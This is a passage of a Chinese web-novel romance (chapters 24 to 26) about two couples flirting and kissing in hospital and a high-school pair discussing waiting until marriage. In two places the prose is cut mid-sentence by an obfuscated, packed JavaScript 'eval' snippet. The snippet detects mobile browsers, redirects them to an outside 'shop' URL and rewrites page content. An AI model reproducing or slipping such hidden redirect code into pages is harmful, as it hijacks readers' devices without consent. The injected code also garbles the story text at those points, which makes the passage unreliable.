鹿之言看着他。 “这次写给你。”陆知岩说,“二十年后的你。” 鹿之言沉默了很久,然后轻轻点了点头。 “好。” 他顿了顿。 “我也写给你。” 陆知岩笑了,笑得很傻,像十六岁那年第一次看见鹿之言。 24. 亲亲 陆沉远住院第三天,病房里多了一束花。 是鹿炽早上出去买的,挑了半小时,最后选了白色的洋桔梗。他不太懂花语,就是觉得这花看着干净,像陆沉远。 “好看吗?”他把花插进床头的水杯里——病房没有花瓶,只能凑合用。 “好看。”陆沉远靠坐在床上,左肩打着固定绷带,但不影响他看鹿炽。 鹿炽把花摆弄了半天,终于找到满意的角度。回头发现陆沉远一直在看他,脸微微一红。 “看什么。” “看你。”陆沉远说,“比花好看。” 鹿炽耳尖红了,但没躲开他的视线。 隔壁病床空着。本来这间是双人病房,但陆知岩被安排在三楼,理由是“肋骨骨折需要专科护理”。其实是陆知岩自己要求的——他不想让鹿之言看见陆沉远和鹿炽腻歪,看了心酸。 此刻这位心酸人士正躺在三楼病房里,对着天花板发呆。 鹿之言坐在床边削苹果。他削皮的技术很好,一圈圈连成长条,没断。 “之言。” “嗯。” “我想亲你。” 刀停了。 鹿之言抬眼看他,面无表情:“你肋骨断了三根。” “亲亲不用肋骨。” “呼吸要用。” 陆知岩噎了一下。 他不死心,又说:“就一下。” “不行。” “轻轻的。” “不。” “那我自己来——”陆知岩作势要坐起来,牵动伤口,疼得倒吸一口凉气。 鹿之言放下苹果和刀,冷冷地看着他:“还动吗?” 陆知岩不敢动了,但眼神还是可怜巴巴的。 鹿之言沉默了几秒,重新拿起苹果继续削。削完,切成小块,递到他嘴边。 陆知岩张嘴吃了。嚼了两下,又说:“之言。” “又怎么了。” “你喂我吃东西的时候,特别好看。” 鹿之言没理他,又递过来一块。 陆知岩吃了,继续说:“以前你喂我吃草莓,也是这样。我记得那个春天,你穿白色毛衣,袖口有点起球,我帮你剪掉——” “陆知岩。”鹿之言打断他。 “嗯?” “你话太多了。” 陆知岩闭嘴了。 但眼神还在说话。 鹿之言把最后一块苹果塞进他嘴里,站起身:“我去打水。” 他走出病房,在走廊里站了一会儿。 然后他低头,看了看自己的手。刚才削苹果的时候,手很稳。现在却有点抖。 不是紧张。是别的什么。 他叹了口气,拎着水壶往开水房走。 三楼开水房旁边有个小阳台,采光很好。鹿之言打完水回来时,透过门缝看见鹿炽正站在阳台上。 他弟背对着他,拿着手机,好像在发消息。发完一条,等几秒,又发一条。 鹿之言没打扰他,转身回了病房。 阳台上,鹿炽刚给陆沉远发完今天的第三条消息。 虽然他们只隔了一层楼,但陆沉远现在不方便走动,鹿炽也不能一直待在病房——鹿之言说“你俩天天腻一起也不怕腻”,把他撵出来透透气。 他不想透气。他想回去。 手机震了一下。陆沉远回:“什么时候回来?” 鹿炽秒回:“马上。” 他收起手机,快步往回走。 推开病房门,陆沉远正靠坐在床上,单手拿着手机。看见他,眼睛亮了。 “回来了。” “嗯。”鹿炽走回床边坐下,“你伤口疼不疼?” “还好。” “肩膀呢?” “也还好。” “那你想不想……” 鹿炽说到一半,停住了。 陆沉远看着他:“想什么?” 鹿炽没说话。他凑过去,在陆沉远嘴角轻轻亲了一下。 很快,很轻,像羽毛扫过。 然后他退回来,低着头,耳尖红透了。 陆沉远愣了两秒,然后笑了。 “你刚才说‘想不想’,”他慢条斯理地说,“是问我想不想这个?” 鹿炽没抬头,但“嗯”了一声。 “想。”陆沉远说,“每天都想。” 鹿炽耳尖更红了。 “那……”他小声说,“你可以说。” “说什么?” “说你想。”鹿炽终于抬起头,看着他,“你想要什么,都可以跟我说。” 陆沉远看着他。病房的光线很柔和,落在鹿炽脸上,照得他眼睛亮晶晶的。 “好。”陆沉远说。 然后他顿了一下,又补充:“那我现在想要你再亲我一下。” 鹿炽眨了眨眼。 然后他真的又凑过去,在陆沉远嘴唇上亲了一下。这次比刚才久一点,但还是很快。 “够吗?”他问。 陆沉远摇头:“不够。” 鹿炽犹豫了一下,第三次凑上去。 这次他没有立刻退开。他轻轻贴着陆沉远的唇,试探着,慢慢加深。 陆沉远没动——他左手不方便,右手还扎着留置针。他只是微微张开嘴,回应这个生涩的吻。 不知过了多久,鹿炽退开一点,呼吸有点乱。 “够了吗……”他声音很小。 陆沉远看着他,眼神很深。 “……还是不够。” 鹿炽咬了咬嘴唇,又想凑上来。 病房门突然被推开。 鹿之言站在门口,手里拎着水壶,面无表情地看着他们。 鹿炽像被烫到一样弹开,差点从椅子上摔下去。 “哥……” “嗯。”鹿之言走进来,把水壶放在桌上,“花换水了吗?” “换、换了……” “嗯。”鹿之言看了他一眼,“下次记得关门。” 他说完就出去了,留下一室尴尬。 鹿炽把脸埋进手心里,发出小动物一样的呜咽声。 陆沉远在旁边,努力压住嘴角。 三楼的病房里,陆知岩正在进行第无数次索吻尝试。 “之言,”他躺在床上,语气虚弱,“我胸口疼。” 鹿之言正在看手机,头也不抬:“肋骨骨折当然疼。” “不是那种疼。”陆知岩说,“是……闷疼。” 鹿之言抬眼看他。 “可能是心脏的问题。”陆知岩按着胸口,“要亲一下才能好。” 鹿之言:“…………” 他把手机屏幕转向陆知岩:“你三分钟前发朋友圈说‘今天天气真好老婆削的苹果真甜’。这叫心脏疼?” 陆知岩僵住了。 失策。忘了鹿之言有他朋友圈。 “那个……”他干咳一声,“我是怕你担心,故作轻松……” 鹿之言没说话,继续看手机。 陆知岩躺回去,望着天花板,觉得自己的人生一片灰暗。 四年前,鹿之言还会主动亲他。他记得那个下午,阳光很好,他们在学校的天台上。鹿之言踮起脚,在他脸上亲了一下,然后飞快地跑开,耳尖红得能滴血。 现在呢?现在别说亲了,连手都不让多牵。 是他老了吗?是他不好看了吗?是他这几年赚钱赚得铜臭味太重了吗? “之言。”他又开口。 “嗯。” “你是不是……没那么喜欢我了?” 鹿之言放下手机,看着他。 “为什么这么问?” “因为你都不亲我。”陆知岩语气委屈,“四年没见了,好不容易找到你,你连个亲亲都不给。” 鹿之言沉默了一会儿。 “不是不喜欢。”他说,“是……” 他顿了顿,似乎不知道怎么表达。 “是什么?”陆知岩追问。 鹿之言看着他,忽然叹了口气。 他站起来,走到床边,俯身—— 在陆知岩额头上轻轻碰了一下。 陆知岩愣住了。 “这是亲吗?”他呆呆地问。 “是。”鹿之言直起身,“你要求的亲。” “这不算。”陆知岩回过神,“额头不算,要嘴。” “没门。” “之、言——”陆知岩拖长声音,“你看沉远那边,鹿炽天天亲他……” “那是他们。”鹿之言说,“我们是成年人。” “成年人怎么了?成年人就不配谈恋爱了吗?” 鹿之言没回答,转身去给他倒水。 陆知岩躺回去,继续望天花板。 他觉得自己好惨。 好不容易追回老婆,老婆不让亲。弟弟那边天天秀恩爱,自己这边连个额头吻都要靠撒娇。 这日子没法过了。 晚饭时间,鹿炽端着餐盘上来,和陆知岩一起吃饭。 陆沉远的餐食需要清淡,鹿炽很认真地按医嘱搭配。他把食物切成小块,方便陆沉远单手吃。 陆知岩看着这一幕,又看看自己面前随便扒拉的外卖,再看看鹿之言——鹿之言正在看手机,根本没注意到他碗里都没菜了。 “之言。”他委屈巴巴地开口。 “嗯?” “我没菜了。” 鹿之言头也不抬,把自己碗里的排骨夹给他一块。 陆知岩吃了,又说:“还想吃。” 鹿之言又夹了一块。 “还想。” 鹿之言看了他一眼,把自己碗里剩下的排骨全倒进他碗里。 陆知岩看着冒尖的碗,沉默了。 这不是他要的。 他想要的是鹿之言像以前那样,笑着喂他吃。不是这种……这种施舍一样的投喂。 他放下筷子。 “之言。” 鹿之言抬头。 “你是不是……”陆知岩斟酌着措辞,“觉得我烦?” 鹿之言皱眉:“没有。” “那你为什么都不愿意看我?”陆知岩说,“从住院到现在,你一直在看手机、看病例、看窗外。就是不看我。” 鹿之言愣住了。 “我知道我烦。”陆知岩继续说,“话多,黏人,还总说些有的没的。但你就不能……偶尔配合我一下吗?” 他的声音越来越低。 “我就是想让你亲我一下。一下就好。” 病房里安静了几秒。 鹿炽和陆沉远对视一眼,默契地低头吃饭,努力降低存在感。 鹿之言看着陆知岩。 这个男人,十六岁就喜欢他,追了五年,被他分手后等了四年。现在三十岁了,躺在病床上,用这种小心翼翼的语气说“我就想你亲我一下”。 他忽然觉得自己好像真的很过分。 “陆知岩。”他开口。 “嗯。”陆知岩没抬头。 “你看我。” 陆知岩抬起头。 鹿之言凑过去,在他嘴唇上亲了一下。 不是额头,是嘴唇。 很快,很轻,但确实是嘴唇。 陆知岩傻了。 “你、你……” “不是要亲吗。”鹿之言耳尖微红,但表情很镇定,“亲了。” 陆知岩张着嘴,半天没说出话。 然后他猛地坐起来——牵动伤口,疼得龇牙咧嘴,但还是在笑。 “之言!”他眼睛亮得像捡到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271915|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝,“你亲我了!” “……嗯。” “嘴对嘴!” “……嗯。” “不是额头!” “你够了。” “不够!”陆知岩握住他的手,“再来一下!” 鹿之言抽回手:“想得美。” “那等一下再来?” “不。” “那明天?” 鹿之言没回答,低头继续吃饭。但他的耳尖,红得能滴血。 陆知岩也不说话了,就看着他笑。 傻笑。 鹿炽在旁边目睹全程,小声对陆沉远说:“知岩哥好像二哈。” 陆沉远点头:“他一直这样。” 鹿炽想了想,说:“但我哥好像挺吃这套。” 陆沉远也想了想,说:“可能这就是他们的相处方式。” 鹿炽若有所思。 晚上,鹿之言去护士站交接医嘱。陆知岩躺在病床上,难得安静地刷手机。 鹿炽来送水果,看见他,犹豫了一下,问:“知岩哥,我能问你个问题吗?” “嗯?” “你和我哥……四年前为什么分手?” 陆知岩放下手机,沉默了一会儿。 “因为我蠢。”他说,“他生病了,我没发现。他提分手,我以为是变心了。他消失,我赌气不去找他。” 他顿了顿。 “等我反应过来,已经找不到他了。” 鹿炽没说话。 “所以现在他愿意回来,已经是我的福气。”陆知岩笑了笑,“他不亲我,不看我,对我冷淡,都是我活该。” “不是的。”鹿炽说。 陆知岩看他。 “我哥不是冷淡。”鹿炽说,“他是……不会表达。从小就这样。心里很在乎,但嘴上不说。” 他想了想,补充:“但他对你已经很不一样了。你没发现吗?他看你的眼神,和别人都不一样。” 陆知岩愣住。 “真的?” “嗯。”鹿炽点头,“你昏迷那天,他在手术室外一直发抖。我从来没见过他那样。” 陆知岩没说话,但眼睛亮了。 鹿炽走出去,轻轻关上门。 他在走廊里站了一会儿,然后回到陆沉远的病房。 陆沉远正靠在床上看书,左肩不方便,就用右手举着。封面是物理竞赛习题集。 鹿炽走过去,把他的书抽走。 “该休息了。” “看一会儿。” “不行。”鹿炽把书放到床头柜上,“医生说你不能劳累。” 陆沉远看着他,笑了:“那你陪我?” 鹿炽点点头,在他床边坐下。 两人安静地待了一会儿。病房里只有监护仪规律的滴答声。 “陆沉远。”鹿炽忽然开口。 “嗯。” “你今天说……每天都想亲我。” 陆沉远顿了一下:“……嗯。” “那你怎么不说?” 陆沉远沉默了几秒。 “怕你为难。”他说,“你以前……对这种事有阴影。” 鹿炽看着他。 “现在好多了。”他轻声说。 陆沉远也看着他。 “所以你可以说。”鹿炽说,“你想要什么,都可以说。” 陆沉远没说话。 他只是伸手——右手,没扎针的那只——轻轻握住了鹿炽的手。 “我现在想亲你。”他说。 鹿炽眨了眨眼。 然后他凑过去,主动吻上陆沉远的唇。 这次不是轻触,不是试探。是一个认真的、漫长的、带着所有没说出口的话的吻。 吻完,他退开一点。 “够吗?”他问。 陆沉远摇头:“不够。” 鹿炽又亲上来。 窗外夜色浓重,洛杉矶的灯火在远处闪烁。 病房里,两个年轻人笨拙地学着接吻,像所有第一次恋爱的傻瓜。 三楼,陆知岩正拿着手机疯狂搜索“老婆终于肯亲我了下一步该怎么做”。 鹿之言推门进来,看见他对着屏幕傻笑。 “看什么?” “没、没什么。”陆知岩飞快地把手机塞到枕头底下。 鹿之言看了他一眼,没追问。他走到床边,拿起床头的水杯。 “要喝水吗?” “要。”陆知岩点头。 鹿之言把水杯递给他。 陆知岩喝了,又说:“之言。” “嗯。” “你刚才亲我的时候,在想什么?” 鹿之言动作顿了一下。 “没什么。”他把水杯放回去,“就是觉得……你也挺可怜的。” 陆知岩:“……” 他该高兴吗? “那以后能多可怜可怜我吗?”他试探着问。 鹿之言没回答。 但他俯身,在陆知岩嘴角轻轻碰了一下。 然后直起身,面无表情地说:“睡吧。” 陆知岩躺在床上,盯着天花板,嘴角咧到耳根。 他决定了。 明天还要继续撒娇。 后天也要。 大后天也要。 这辈子都要。 因为他的之言,会心软的。 只要他一直等,一直要。 他的之言,会给他的。 洛杉矶的夜很安静。 两间病房,四个人。 一个在梦里傻笑,一个望着他的睡颜。 一个握着男朋友的手睡着了,一个看着他,整夜没舍得闭眼。 亲亲这件事,有时差。 但没关系。 25. 林屿的家规 周浩觉得自己快憋出毛病了。 不是那种憋。是那种……算了,就是那种憋。 他和林屿在一起快两个月了。这两个月里,他成功从“为女神报仇的钢铁直男”蜕变成“看见林屿就想亲的纯情男高”。蜕变过程之丝滑,连他自己都惊讶。 但问题来了——他亲也亲了,抱也抱了,怎么就是上不了垒呢? 第一次尝试,是在学校天台。 那天他们刚考完模拟考,周浩发挥超常,理综比上次高了二十分。他一高兴,拉着林屿上天台看夕阳。 夕阳很好看,林屿更好看。晚风吹起他的头发,露出干净的额头。周浩没忍住,凑过去亲了他一下。 林屿没躲。 周浩胆子大了,搂着他的腰想加深这个吻。林屿也配合,微微仰头。 气氛很好。手也很自然地往下滑。 然后林屿握住他的手腕。 “不行。” 周浩愣住了:“为什么?” “没有为什么。”林屿松开他的手,“该回去上晚自习了。” 周浩:“???” 这也能刹车? 第二次尝试,是在林屿家。 林屿父母出差,弟弟住校,家里就他一个人。周浩打着“一起写作业”的名义登堂入室。 作业写了一个小时,周浩开始心猿意马。他偷看林屿的侧脸,越看越觉得这人长得过分好看。 “林屿。” “嗯。” “你家隔音好吗?” 林屿笔尖一顿,抬眼看他。 “你想干什么?” “没、没什么。”周浩心虚地移开视线,“就随便问问。” 林屿没说话,继续写题。 周浩又憋了十分钟,终于憋不住了。他挪过去,从后面抱住林屿。 “林屿……” “嗯。” “你身上好香。” “洗衣液。” “不是那种香。”周浩把下巴搁在他肩上,“是那种……你身上的味道。” 林屿没躲,也没停笔。 周浩胆子又大了。他把手从林屿腰侧往前探,刚碰到衣角—— 林屿按住他的手。 “不行。” “为什么?” “没有为什么。”林屿站起来,“我去倒水。” 周浩:“…………” 第三次尝试,第四次尝试,第五次尝试。 通通失败。 理由从“没有为什么”升级到“时间不对”“地点不对”“你明天还有篮球赛要早起”。 周浩终于忍不住了。 周五放学,他把林屿堵在实验楼后门。 “林屿,你今天必须把话说清楚。” 林屿看着他:“说什么?” “说为什么每次一到关键时刻你就喊停。”周浩豁出去了,“你是觉得我技术不行?还是其实你根本就没那么喜欢我?” 林屿沉默了几秒。 “不是。” “那是什么?” 林屿看着他,眼神很复杂。 “周浩,”他说,“你知道我老家是哪儿的吗?” 周浩愣了一下:“不是本市吗?” “是本市。”林屿说,“但我外婆家在那个镇。” 他报了个地名。周浩没听过。 “那个地方,”林屿说,“很传统。” 周浩等着他往下说。 “我外婆那一辈,”林屿声音很平静,“女人不能上桌吃饭,男人不能娶外姓人。到我妈那一辈,规矩松了些,但有些东西还在。” 他顿了顿。 “比如,结婚之前,不能做那种事。” 周浩张大嘴。 “你、你是说……” “对。”林屿看着他,“我家那边的习俗,同房必须结婚之后。或者至少,要见过父母,得到他们同意。” 周浩傻了。 “所、所以你这几次拒绝我,是因为……” “因为没结婚。”林屿说,“也没见过父母。” 周浩张着嘴,半天没合上。 他设想过很多种理由。林屿害羞,林屿保守,林屿嫌他进度太快。唯独没想过这一种。 “可是,”他艰难地找回声音,“我们都还没高考……” “我知道。” “而且我们才十八……” “我知道。” “结婚是十年后的事!” 林屿看着他,很认真地说:“那就十年后。” 周浩噎住了。 他看着林屿的眼睛,发现那双眼睛很平静,没有戏谑,没有犹豫。他是认真的。 “林屿,”周浩小心翼翼地问,“你是……认真的?” “嗯。” “十年后我们才二十八。” “二十八可以结婚。” “万一我们中途分手了呢?” 林屿看着他,没说话。 周浩说完就后悔了。这话太蠢了,蠢到他想抽自己。 “不是,我不是那个意思……” “周浩。”林屿打断他。 “嗯?” “你会和我分手吗?” 周浩想都没想:“不会。” “我也不会。”林屿说,“所以十年后,我们还会在一起。” 周浩愣住了。 他看着林屿,觉得心跳快得要蹦出来。这人怎么……怎么总能一句话就把他堵得死死的? “可是,”他还在做最后的挣扎,“那这十年怎么办?” 林屿想了想,说:“可以亲。” “啊?” “可以抱。”林屿继续说,“可以牵手,可以一起吃饭,一起看电影,一起学习,一起睡觉——只是睡觉。” 他顿了顿。 “其他的,等结婚以后。” 周浩沉默了。 他在心里快速盘算了一下。十年。三千六百五十天。八万七千六百小时。 很长。 但如果是和林屿一起过,好像也不是不能忍。 “那……”他小心翼翼地问,“你爸妈那边,是什么态度?” 林屿沉默了几秒。 “还没说。” “啊?” “没找到合适的时机。”林屿说,“我妈……比较传统。” 周浩听懂了。 他没再追问,只是握住林屿的手。 “那等高考完,我跟你一起回去。” 林屿抬眼看他。 “丑女婿总要见岳母的。”周浩咧嘴笑,“早死早超生。” 林屿看着他,嘴角微微弯了一下。 “……你不丑。” 周浩心跳漏了一拍。 “那你的意思是,我挺帅?” 林屿没说话,转身走了。 但周浩看见他耳尖红了。 他站在原地,傻笑了半天。 从那天起,周浩开启了漫长的“忍”字诀生涯。 忍得很辛苦。 但林屿说到做到。不能做的坚决不做,能做的——亲、抱、牵手、一起睡觉——全都给。 周浩发现,林屿给的“亲”和“抱”,比他想象的还要多。 以前是他主动,林屿配合。现在是林屿也会主动,虽然频率不高,但每次都能让周浩开心一整天。 比如某天晚自习结束,周浩送林屿回宿舍。走到宿舍楼下,林屿忽然停住脚步。 “周浩。” “嗯?” 林屿转身,在他嘴角亲了一下。 “晚安。” 然后头也不回地走进宿舍楼。 周浩站在原地,像被雷劈了一样。 旁边路过的同学用看傻子的眼神看他。他毫不在意,掏出手机给林屿发消息。 “你刚才亲我了!!!” 林屿回:“嗯。” “为什么突然亲我!!!” “想亲就亲了。” 周浩盯着屏幕,嘴角咧到耳根。 他把这段对话截图,设成和陆沉远的聊天背景。 陆沉远回他:“有病。” 周浩毫不在意。他觉得他这辈子都没这么开心过。 又比如某个周末,他们在图书馆待到闭馆。出来时外面下雨了,两人只有一把伞。 伞是林屿的,很小,勉强遮两个人。周浩主动把伞往林屿那边推,结果半边肩膀淋湿了。 林屿看了他一眼,没说话。 然后他伸手,揽住周浩的腰,把他往自己这边带了带。 两人几乎贴在一起。 周浩心跳如擂鼓。他低头看林屿,林屿看着前方的路,表情平静,但耳朵红得能滴血。 那一路走得很慢。 周浩希望那条路再长一点。 还有某个深夜,周浩因为篮球赛输了心情不好,一个人躺在操场草坪上发呆。 林屿找到他的时候,他已经躺了快一小时。 “起来。”林屿站在他旁边,“地上凉。” “不想起。”周浩看着星星,“林屿,你说我是不是很菜?” “今天那场,你拿了二十分。” “但是输了。” “篮球是五个人的运动。” 周浩没说话。 林屿在他旁边坐下。 沉默了很久。久到周浩以为他不会开口了。 然后林屿躺下来,和他并肩看着夜空。 “周浩。” “嗯。” “你打得很好。” 周浩转头看他。夜色里,林屿的侧脸被月光镀上一层银边。 “我知道。”周浩小声说,“但还是想听你说。” 林屿没说话。 他只是伸手,握住了周浩的手。 十指相扣。 周浩鼻子一酸。 那天他们在操场躺了很久。没有亲,没有抱,只是牵着手看星星。 但周浩觉得,这是他这辈子最满足的一晚。 日子就这么过着。 周浩慢慢习惯了这种节奏。习惯林屿的克制,习惯林屿的原则,也习惯林屿偶尔主动时那种令人心跳加速的温柔。 他开始觉得,等十年也不是那么难熬。 直到有一天—— 那天是周六,林屿爸妈出差回来,林屿要回家吃饭。周浩百无聊赖,去陆沉远家蹭饭。 饭桌上,鹿炽问起他和林屿的进展。 周浩如实相告。 陆沉远听完,筷子停在半空中。 “……他认真的?” “认真的。”周浩啃着鸡腿,“他说要等结婚以后。” 陆沉远沉默了几秒,转头看鹿炽。 鹿炽没说话,低头吃饭,耳尖微红。 周浩看看他俩,忽然悟了。 “你们俩该不会已经……” “没有。”陆沉远说。 “没问你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271916|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”周浩看向鹿炽,“鹿炽,你脸怎么红了?” 鹿炽把头埋得更低了。 周浩:“…………” 他放下鸡腿,表情复杂。 “所以全世界就我一个人在守身如玉?” 陆沉远没理他,给鹿炽夹菜。 周浩觉得这个世界对他太不公平了。 周一,周浩把这件事跟林屿说了。 “鹿炽和远哥他们都已经那个了。”他语气委屈,“就我们还在纯洁地手拉手看星星。” 林屿翻了一页书:“所以呢?” “所以我们能不能也……” “不能。” “为什么!” “说过了,结婚以后。” “可是他们都——” “他们是他们,我们是我们。”林屿抬眼看他,“周浩,你很想吗?” 周浩噎住了。 很想吗? 当然想。 他十八岁,血气方刚,每天早上都有正常的生理反应。喜欢的男生天天在他面前晃,他怎么可能不想? 但他看着林屿的眼睛,那些话突然说不出口了。 “也不是……”他挠挠头,“就是觉得,你是不是其实没那么想?” 林屿放下书。 “你为什么会这么想?” “因为每次你拒绝得都很干脆。”周浩小声说,“好像一点犹豫都没有。” 林屿沉默了一会儿。 “周浩。” “嗯。” “不是不想。”他说,“是不敢。” 周浩愣住了。 “我怕。”林屿说,“怕一旦开始了,就停不下来。” 他看着周浩,眼神很认真。 “也怕你只是一时冲动。” “我不是——”周浩急着辩解。 “我知道你现在不是。”林屿打断他,“但十年后呢?二十年后呢?” 周浩张了张嘴,没发出声音。 “我家的规矩,”林屿说,“看起来很迂腐。但对我来说,它是一个保障。” 他顿了顿。 “它让我相信,你是认真的。” 周浩看着他,心脏像被什么狠狠撞了一下。 原来林屿不是不想。 他是不敢。 他也怕失去。 周浩忽然伸手,把林屿拉进怀里。 “林屿。”他闷闷地说。 “嗯。” “我是认真的。”他说,“不是一时冲动,不是青春期荷尔蒙。我是真的喜欢你,想跟你过一辈子那种。” 林屿没说话,只是把脸埋在他肩窝。 “所以,”周浩说,“我等你。” “等多久都等。” 林屿的呼吸轻轻打在他颈侧。 “……嗯。” 那天晚上,周浩在宿舍床上翻来覆去睡不着。 他掏出手机,给林屿发消息。 “睡了没?” “没。” “在想你。” 对面沉默了几秒。 然后林屿回:“我也是。” 周浩盯着屏幕,傻笑了半天。 他又发:“林屿。” “嗯。” “十年后,我二十八,你二十八。” “嗯。” “我们结婚吧。” 这次沉默了很久。 久到周浩以为林屿睡着了。 手机屏幕亮起。 “好。” 周浩抱着手机,激动得想下楼跑三圈。 但他忍住了。 他只是把那个“好”字截了图,设成和所有聊天软件的背景。 然后他给林屿发:“说话算话。” 林屿回:“嗯。” 周浩看着那个“嗯”,觉得这辈子值了。 不就是等十年吗? 他等得起。 反正林屿又跑不掉。 窗外夜色温柔。 周浩躺在床上,想着十年后的某一天,他穿着西装,林屿也穿着西装。他们在某个地方,当着所有人的面,说出“我愿意”。 那画面太美,他想着想着就睡着了。 梦里他还在笑。 第二天,周浩顶着黑眼圈去上课。 林屿看了他一眼:“没睡好?” “睡得很好。”周浩咧嘴笑,“做了一晚上美梦。” 林屿没问什么梦,只是把保温杯推过来。 “红枣茶,我妈煮的。” 周浩接过杯子,喝了一口,甜丝丝的。 他忽然觉得,等十年好像也没那么难。 毕竟每天都有红枣茶喝。 每天都能看见林屿。 每天都能和他说话,和他牵手,和他一起吃饭学习看星星。 这样过十年,好像也不亏。 他放下杯子,凑近林屿。 “林屿。” “嗯。” “我能亲你一下吗?” 林屿看了看周围。早读还没开始,教室里没几个人,都在低头补作业。 他轻轻点了点头。 周浩飞快地在他嘴角啄了一下。 然后坐回去,心满意足地喝红枣茶。 林屿低头看书,耳尖微红。 窗外阳光正好。 距离高考还有四个月。 距离结婚还有十年。 他不急。 他们有一辈子。 26. 他亲了我两次 陆知岩觉得自己快憋出内伤了。 不是肋骨那个伤。是心理上的。 住院这一个多星期,他每天躺在病床上,每天看着鹿之言忙前忙后。削苹果,倒水,调点滴速度,跟护士对接用药方案。专业,高效,面无表情。 问题是——他想要的根本不是这些! 他想要亲亲。抱抱。贴贴。 他弟弟陆沉远,隔壁病房那位,左肩骨裂,伤得没他重,待遇却比他好一万倍。 鹿炽天天守在那儿,削水果切小块,喂到嘴边,喝水递吸管,亲亲更是不用开口——人家自己主动! 他呢? 他老婆是鹿炽的亲哥,怎么差距就这么大呢? “之言。”他开口。 “嗯。”鹿之言坐在窗边看手机,头也不抬。 “我想喝水。” 鹿之言站起来,倒了杯温水,放在床头柜上。 “喝吧。” 陆知岩看着那杯水,又看看自己的手——手没伤啊,但这不是重点! 重点是他想要鹿之言喂他! “之言……”他放软声音,“我手酸。” 鹿之言抬眼看他:“哪只手?” “右手。” “你伤的是左边肋骨。” “……” 陆知岩沉默了两秒:“那可能是右边也酸了。” 鹿之言面无表情地看着他。 陆知岩败下阵来,自己拿起水杯喝了。 喝完,又不死心:“之言。” “嗯。” “我想上厕所。” 鹿之言站起来,把床边的移动输液架推过来:“扶着去。” “你陪我。” “我看着你。” “那能牵手吗?” 鹿之言没说话,转身走向门口。走了两步,停下来。 他伸出手。 陆知岩眼睛亮了,赶紧握住。 两人一前一后走向卫生间。陆知岩握着鹿之言的手,美得冒泡,完全没注意隔壁病房门开着,陆沉远正好靠坐在床上往外看。 兄弟俩对上视线。 陆知岩立刻挺直腰板,握手的姿势从“随便牵牵”调整成“十指相扣”。 陆沉远看着他,表情微妙。 陆知岩下巴微扬,眼神写着:看见没?我老婆牵我的手。 陆沉远没说话,只是转头看了鹿炽一眼。 鹿炽正在削梨,感受到他的目光,抬起头。 “怎么了?” “没什么。”陆沉远说。 鹿炽顺着他的视线往外看,正好看见陆知岩和鹿之言十指相扣的背影。他愣了一下,然后低头继续削梨,耳尖微红。 五分钟后,陆知岩从卫生间出来,志得意满地躺回床上。 陆沉远发来消息。 【弟】:幼稚。 陆知岩回他: 【哥】:你懂什么,这叫情趣。 【弟】:你牵个手就高兴成这样? 【哥】:你有人主动亲当然不懂。 【弟】:所以你在跟我比这个? 【哥】:没有。陈述事实。 陆沉远放下手机,看向鹿炽。 鹿炽刚削完梨,切成小块,装在保鲜盒里。他注意到陆沉远的视线,问:“要吃吗?” “嗯。” 鹿炽用牙签叉了一块,递到他嘴边。 陆沉远张嘴吃了。 “甜吗?” “甜。” 鹿炽又叉了一块。 陆沉远又吃了。 鹿炽还要叉,陆沉远握住他的手腕。 “你也吃。” “我不太想吃……” “吃一口。”陆沉远看着他,“你中午没怎么吃饭。” 鹿炽犹豫了一下,张嘴咬住那块梨。 确实甜。 他嘴角微微弯了一下。 陆沉远看着他,忽然说:“鹿炽。” “嗯?” “我想亲你。” 鹿炽愣了一下,耳尖迅速红了。 他看看病房门——开着。 又看看走廊——偶尔有护士经过。 “门……”他小声说。 “我去关。”陆沉远作势要起来。 “别动!”鹿炽按住他,“你伤还没好……” 他站起来,快步走过去把门关上,又走回来。在床边站了两秒,俯身,在陆沉远嘴角亲了一下。 很快,很轻。 但陆沉远笑了。 “够吗?”鹿炽问。 陆沉远摇头:“不够。” 鹿炽咬了咬嘴唇,又亲了一下。这次久一点。 亲完,他退开,脸红得能滴血。 陆沉远还想说“不够”,但看着他红透的耳尖,把话咽回去了。 “够了。”他说,“先攒着。” 鹿炽轻轻“嗯”了一声,坐回椅子上,拿起没看完的书。 书页没翻。他盯着同一行字看了五分钟。 隔壁病房,陆知岩正在刷手机,刷到一条推送——“情侣间增进感情的50个小技巧”。 他点进去,逐条研究。 1.早安吻。 ——之言早上比他起得早,根本没机会。 2.睡前拥抱。 ——两张病床并排放着,鹿之言睡隔壁那张。中间隔着一米五的距离,伸手都够不着。 3.牵手散步。 ——刚才牵过了,但只牵了三十秒,从病房到卫生间,再从卫生间回病房。 4.一起吃饭。 ——这个有!但鹿之言都是把饭盒放下,说“趁热吃”,然后去忙别的。 5.互相喂食。 ——没有。从来没过。 陆知岩越看越委屈。 他放下手机,看向鹿之言。 鹿之言正在看他的病例,眉头微皱。 “之言。” “嗯。” “你今天晚上吃什么?” “医院食堂。” “我那份也吃食堂吗?” “你想吃外面的可以点外卖。” “那我们一起点外卖?” 鹿之言从病历上抬起眼:“你想吃什么?” “你吃什么我吃什么。” 鹿之言想了想:“那还是食堂吧。” 陆知岩:“……” 他不是这个意思。 他是想跟鹿之言一起吃饭,不是想表达“随便吃什么都可以”! 但他不敢说。说了显得他很矫情。 他憋着,不说话。 鹿之言看了他一眼,没追问,继续看病历。 陆知岩躺回去,望着天花板。 